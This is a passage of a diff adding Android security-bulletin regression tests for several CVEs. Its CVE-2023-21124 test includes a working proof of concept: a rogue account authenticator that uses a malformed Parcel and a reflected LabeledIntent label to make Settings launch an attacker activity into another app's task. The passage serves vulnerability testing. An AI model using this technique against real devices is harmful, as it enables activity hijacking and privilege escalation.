+import static com.android.sts.common.NativePocCrashAsserter.assertNoCrash;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.NativePoc;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2024_0040 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 300007708)
+ @Test
+ public void testPocCVE_2024_0040() {
+ try {
+ final String binaryName = "CVE-2024-0040";
+ String[] signals = {TombstoneUtils.Signals.SIGSEGV};
+
+ TombstoneUtils.Config crashConfig =
+ new TombstoneUtils.Config()
+ .setProcessPatterns(binaryName)
+ .setBacktraceIncludes(
+ new BacktraceFilterPattern("libmtp", "setParameter"))
+ .setSignals(signals);
+
+ NativePoc.builder()
+ .pocName(binaryName)
+ .asserter(assertNoCrash(crashConfig))
+ .build()
+ .run(this);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/Android.bp
new file mode 100644
index 0000000..9dee549
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/Android.bp
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2023-21124-target",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "target-app/src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ manifest: "target-app/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+ name: "CVE-2023-21124-test",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "test-app/src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ "sts-device-util",
+ "truth",
+ ],
+ manifest: "test-app/AndroidManifest.xml",
+ resource_dirs: [
+ "res",
+ "test-app/res",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/res/values/strings.xml
new file mode 100644
index 0000000..0636859
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/res/values/strings.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="accountType">cve_2023_21124_evilAccount</string>
+ <string name="broadcastAction">cve_2023_21124_action</string>
+ <string name="isItHelperActivity">isItHelperActivity</string>
+ <string name="isItHijackActivity">isItHijackActivity</string>
+ <string name="isItTargetActivity">isItTargetActivity</string>
+ <string name="sharedPreferences">cve_2023_21124_sharedPreference</string>
+ <string name="taskIdOfTargetActivity">taskIdOfTargetActivity</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/target-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/target-app/AndroidManifest.xml
new file mode 100644
index 0000000..7768a98
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/target-app/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_21124_target">
+ <application>
+ <activity
+ android:name=".TargetActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/target-app/src/android/security/cts/CVE_2023_21124_target/TargetActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/target-app/src/android/security/cts/CVE_2023_21124_target/TargetActivity.java
new file mode 100644
index 0000000..4cd60b5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/target-app/src/android/security/cts/CVE_2023_21124_target/TargetActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21124_target;
+
+import android.app.Activity;
+import android.content.Intent;
+
+public class TargetActivity extends Activity {
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+
+ // Send broadcast to 'DeviceTest' with taskId. This taskId will be used to hijack this
+ // activity in case of vulnerability
+ sendBroadcast(
+ new Intent(getString(R.string.broadcastAction))
+ .putExtra(getString(R.string.isItTargetActivity), true)
+ .putExtra(getString(R.string.taskIdOfTargetActivity), getTaskId()));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..73238c8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/AndroidManifest.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_21124_test">
+
+ <application>
+ <activity
+ android:name=".HijackActivity"
+ android:exported="true" />
+
+ <activity
+ android:name=".HelperActivity"
+ android:exported="false">
+ </activity>
+
+ <service
+ android:name=".PocAuthService"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.accounts.AccountAuthenticator" />
+ </intent-filter>
+
+ <meta-data
+ android:name="android.accounts.AccountAuthenticator"
+ android:resource="@xml/authenticator" />
+ </service>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_21124_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/res/xml/authenticator.xml
new file mode 100644
index 0000000..ae422d9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/res/xml/authenticator.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="@string/accountType"
+ android:label="cve_2023_21124" />
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/src/android/security/cts/CVE_2023_21124_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/src/android/security/cts/CVE_2023_21124_test/DeviceTest.java
new file mode 100644
index 0000000..768f51d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/src/android/security/cts/CVE_2023_21124_test/DeviceTest.java
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21124_test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static com.android.sts.common.SystemUtil.poll;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.SharedPreferences;
+import android.os.Build;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testCVE_2023_21124() {
+ try {
+ // Register a broadcast receiver to receive broadcast from 'TargetActivity',
+ // 'HelperActivity' and 'HijackActivity'
+ Context context = getApplicationContext();
+ final CompletableFuture<Integer> taskIdOfTargetActivity = new CompletableFuture<>();
+ final Semaphore helperActivityStarted = new Semaphore(0);
+ final Semaphore hijackActivityStarted = new Semaphore(0);
+ final Semaphore targetActivityStarted = new Semaphore(0);
+ BroadcastReceiver broadcastReceiver =
+ new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ if (intent.getBooleanExtra(
+ context.getString(R.string.isItTargetActivity), false)) {
+ taskIdOfTargetActivity.complete(
+ intent.getIntExtra(
+ context.getString(
+ R.string.taskIdOfTargetActivity),
+ -1));
+ targetActivityStarted.release();
+ }
+ if (intent.getBooleanExtra(
+ context.getString(R.string.isItHijackActivity), false)) {
+ hijackActivityStarted.release();
+ }
+ if (intent.getBooleanExtra(
+ context.getString(R.string.isItHelperActivity), false)) {
+ helperActivityStarted.release();
+ }
+ } catch (Exception ignore) {
+ // Ignore
+ }
+ }
+ };
+
+ // Fetch and add the flag 'RECEIVER_EXPORTED' for 'TIRAMISU' and above versions to
+ // keep the code consistent
+ final int requiredFlag =
+ Build.VERSION.SDK_INT >= 33 /* TIRAMISU */
+ ? (int) Context.class.getField("RECEIVER_EXPORTED").get(context)
+ : 0;
+ context.registerReceiver(
+ broadcastReceiver,
+ new IntentFilter(context.getString(R.string.broadcastAction)),
+ requiredFlag);
+
+ // Start the 'TargetActivity' as a new task
+ final int timeoutMs = 5000;
+ String targetActivityPkg = "android.security.cts.CVE_2023_21124_target";
+ Intent targetIntent =
+ new Intent(Intent.ACTION_MAIN)
+ .setComponent(
+ new ComponentName(
+ targetActivityPkg,
+ targetActivityPkg + ".TargetActivity"))
+ .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(targetIntent);
+ assume().withMessage("TargetActivity did not launch")
+ .that(targetActivityStarted.tryAcquire(timeoutMs, TimeUnit.MILLISECONDS))
+ .isTrue();
+
+ // Set 'taskId' of 'TargetActivity' in sharedPreference which gets used in
+ // 'TestAccountAuthenticator' to reproduce the vulnerability.
+ SharedPreferences sharedPreference =
+ context.getSharedPreferences(
+ context.getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
+ sharedPreference
+ .edit()
+ .putInt(
+ context.getString(R.string.taskIdOfTargetActivity),
+ taskIdOfTargetActivity.get(timeoutMs, TimeUnit.MILLISECONDS))
+ .commit();
+
+ // Start the 'HelperActivity' to launch the 'AddAccountSettings' which further launches
+ // 'HijackActivity'
+ context.startActivity(
+ new Intent(context, HelperActivity.class)
+ .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+ assume().withMessage("HelperActivity did not start")
+ .that(helperActivityStarted.tryAcquire(timeoutMs, TimeUnit.MILLISECONDS))
+ .isTrue();
+ assume().withMessage("HijackActivity through AddAccountSettings did not launch")
+ .that(hijackActivityStarted.tryAcquire(timeoutMs, TimeUnit.MILLISECONDS))
+ .isTrue();
+
+ // Restart 'TargetActivity' to check for vulnerability
+ context.startActivity(targetIntent);
+
+ // Wait for either of the 'HijackActivity' or 'TargetActivity' to launch.
+ // Without fix, the 'HijackActivity' starts instead of 'TargetActivity'.
+ // With fix, the 'TargetActivity' launches.
+ assume().withMessage("Neither 'HijackActivity' nor 'TargetActivity' launched")
+ .that(
+ poll(
+ () -> {
+ // If 'HijackActivity' gets launched
+ if (hijackActivityStarted.tryAcquire()) {
+ hijackActivityStarted.release();
+ return true;
+ }
+
+ // If 'TargetActivity' gets launched
+ return targetActivityStarted.tryAcquire();
+ }))
+ .isTrue();
+
+ // Without fix, the 'HijackActivity' launches
+ assertWithMessage("Device is vulnerable to b/265798353 !!")
+ .that(hijackActivityStarted.tryAcquire(timeoutMs, TimeUnit.MILLISECONDS))
+ .isFalse();
+ } catch (Exception e) {
+ assume().that(e).isNull();
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/src/android/security/cts/CVE_2023_21124_test/HelperActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/src/android/security/cts/CVE_2023_21124_test/HelperActivity.java
new file mode 100644
index 0000000..188e5a7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/src/android/security/cts/CVE_2023_21124_test/HelperActivity.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21124_test;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.provider.Settings;
+
+public class HelperActivity extends Activity {
+
+ @Override
+ protected void onResume() {
+ try {
+ super.onResume();
+
+ // Send broadcast to 'DeviceTest'
+ sendBroadcast(
+ new Intent(getString(R.string.broadcastAction))
+ .putExtra(getString(R.string.isItHelperActivity), true));
+
+ // Start the 'AddAccountSettings' to launch 'HijackActivity' using the data
+ // from bundle created in 'TestAccountAuthenticator'
+ String settingsPkg = getSettingsPkgName();
+ startActivity(
+ new Intent(Settings.ACTION_ADD_ACCOUNT)
+ .setComponent(
+ new ComponentName(
+ settingsPkg,
+ settingsPkg + ".accounts.AddAccountSettings"))
+ .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ .putExtra(
+ "account_types",
+ new String[] {getString(R.string.accountType)}));
+ } catch (Exception e) {
+ // Ignore
+ }
+ }
+
+ // Retrieve Settings package name dynamically
+ private String getSettingsPkgName() {
+ ComponentName settingsComponent =
+ new Intent(Settings.ACTION_SETTINGS).resolveActivity(getPackageManager());
+ return settingsComponent != null
+ ? settingsComponent.getPackageName()
+ : "com.android.settings";
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/src/android/security/cts/CVE_2023_21124_test/HijackActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/src/android/security/cts/CVE_2023_21124_test/HijackActivity.java
new file mode 100644
index 0000000..19544bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/src/android/security/cts/CVE_2023_21124_test/HijackActivity.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21124_test;
+
+import android.app.Activity;
+import android.content.Intent;
+
+public class HijackActivity extends Activity {
+
+ @Override
+ protected void onResume() {
+ try {
+ super.onResume();
+
+ // Send broadcast to 'DeviceTest' after getting launched through 'AddAccountSettings'
+ sendBroadcast(
+ new Intent(getString(R.string.broadcastAction))
+ .putExtra(getString(R.string.isItHijackActivity), true));
+
+ // The CTS detection relies on the launch of 'HijackActivity' that is whether
+ // 'onResume()' is called or not.
+ // To reproduce the vulnerability, this activity requires not to be in foreground at
+ // the time of launching it. Hence, calling moveTaskToBack() to move it into the
+ // background, to ensure 'onResume()' gets called.
+ moveTaskToBack(true);
+ } catch (Exception ignore) {
+ // Ignore
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/src/android/security/cts/CVE_2023_21124_test/PocAuthService.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/src/android/security/cts/CVE_2023_21124_test/PocAuthService.java
new file mode 100644
index 0000000..fd79cac
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21124/test-app/src/android/security/cts/CVE_2023_21124_test/PocAuthService.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21124_test;
+
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.app.ActivityOptions;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.LabeledIntent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.text.SpannableString;
+import android.text.style.URLSpan;
+
+import java.lang.reflect.Field;
+import java.nio.charset.StandardCharsets;
+
+public class PocAuthService extends Service {
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return new TestAccountAuthenticator(this).getIBinder();
+ }
+
+ class TestAccountAuthenticator extends AbstractAccountAuthenticator {
+
+ public TestAccountAuthenticator(Context context) {
+ super(context);
+ }
+
+ @Override
+ public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+ return null;
+ }
+
+ @Override
+ public Bundle addAccount(
+ AccountAuthenticatorResponse response,
+ String accountType,
+ String authTokenType,
+ String[] requiredFeatures,
+ Bundle options)
+ throws NetworkErrorException {
+ try {
+ // Fetch taskId of 'TargetActivity' through SharedPreference
+ int taskIdOfTargetActivity =
+ getSharedPreferences(
+ getString(R.string.sharedPreferences), Context.MODE_PRIVATE)
+ .getInt(getString(R.string.taskIdOfTargetActivity), -1);
+ assume().withMessage("Did not find the taskId of 'TargetActivity'")
+ .that(taskIdOfTargetActivity)
+ .isNotEqualTo(-1);
+
+ // Create a bundle and put taskId of 'TargetActivity' into it
+ Bundle evilOptions = new Bundle();
+ evilOptions.putInt(
+ (String)
+ setAccessibleFor(ActivityOptions.class, "KEY_LAUNCH_TASK_ID")
+ .get(null),
+ taskIdOfTargetActivity);
+
+ // Create parcel to reproduce vulnerability
+ Parcel optionPayload = Parcel.obtain();
+ evilOptions.writeToParcel(optionPayload, 0 /* flags */);
+ optionPayload.setDataPosition(0 /* pos */);
+ int originLen = optionPayload.readInt();
+ optionPayload.setDataPosition(0 /* pos */);
+ optionPayload.writeInt(2 * originLen /* val */);
+
+ // Create parcel to reproduce vulnerability
+ Parcel payload = Parcel.obtain();
+ payload.writeString("" /* val */);
+ payload.writeInt(0 /* val */);
+ payload.writeInt(0 /* val */);
+ payload.writeTypedObject(null /* val */, 0 /* parcelableFlags */);
+ payload.writeInt(1 /* val */);
+ payload.appendFrom(optionPayload, 0 /* offset */, optionPayload.dataSize());
+
+ // Create an object of 'LabeledIntent' to set intent to launch 'HijackActivity'
+ LabeledIntent labeledIntent =
+ new LabeledIntent(
+ new Intent(getApplicationContext(), HijackActivity.class),
+ null /* sourcePackage */,
+ 1 /* labelRes */,
+ 0 /* icon */);
+
+ // Create a 'SpannableString' to set value of 'mNonLocalizedLabel'
+ // of 'LabeledIntent'
+ SpannableString spannableString = new SpannableString("");
+ spannableString.setSpan(
+ new URLSpan(new String(payload.marshall(), StandardCharsets.UTF_16LE)),
+ 0 /* start */,
+ 0 /* end */,
+ 0 /* flags */);
+
+ // Set the value of private field 'mNonLocalizedLabel'
+ Field field = setAccessibleFor(LabeledIntent.class, "mNonLocalizedLabel");
+ field.set(labeledIntent, spannableString);
+
+ // Return the bundle with labeledIntent
+ Bundle result = new Bundle();
+ result.putParcelable(AccountManager.KEY_INTENT, labeledIntent);
+ return result;
+ } catch (Exception ignore) {
+ // Ignore
+ }
+ return null;
+ }
+
+ private Field setAccessibleFor(Class<?> clazz, String fieldName) {
+ for (Field field : clazz.getDeclaredFields()) {
+ if (field.getName().contentEquals(fieldName)) {
+ field.setAccessible(true);
+ return field;
+ }
+ }
+ return null;
+ }
+
+ @Override
+ public Bundle confirmCredentials(
+ AccountAuthenticatorResponse response, Account account, Bundle options)
+ throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public Bundle getAuthToken(
+ AccountAuthenticatorResponse response,
+ Account account,
+ String authTokenType,
+ Bundle options)
+ throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public String getAuthTokenLabel(String authTokenType) {
+ return null;
+ }
+
+ @Override
+ public Bundle updateCredentials(
+ AccountAuthenticatorResponse response,
+ Account account,
+ String authTokenType,
+ Bundle options)
+ throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public Bundle hasFeatures(
+ AccountAuthenticatorResponse response, Account account, String[] features)
+ throws NetworkErrorException {
+ return null;
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21244/src/android/security/cts/CVE_2023_21244/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21244/src/android/security/cts/CVE_2023_21244/DeviceTest.java
index 774aa78..26a9ef8 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2023-21244/src/android/security/cts/CVE_2023_21244/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21244/src/android/security/cts/CVE_2023_21244/DeviceTest.java
@@ -163,7 +163,7 @@
}
return false;
}));
- } catch (Exception e) {
+ } catch (Exception | NoSuchMethodError e) {
assumeNoException(e);
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21277/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-21277/Android.bp
new file mode 100644
index 0000000..cfa2553
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21277/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2023-21277",
+ defaults: [
+ "cts_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "compatibility-device-util-axt",
+ "truth",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21277/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21277/AndroidManifest.xml
new file mode 100644
index 0000000..6c53c8b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21277/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_21277">
+ <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_21277" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21277/res/layout/cve_2023_21277_layout.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21277/res/layout/cve_2023_21277_layout.xml
new file mode 100644
index 0000000..23f16c1
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21277/res/layout/cve_2023_21277_layout.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<ImageView xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/cve_2023_21277_img"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent" />
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21277/src/android/security/cts/CVE_2023_21277/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21277/src/android/security/cts/CVE_2023_21277/DeviceTest.java
new file mode 100644
index 0000000..af05e76
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21277/src/android/security/cts/CVE_2023_21277/DeviceTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21277;
+
+import static android.Manifest.permission.CREATE_USERS;
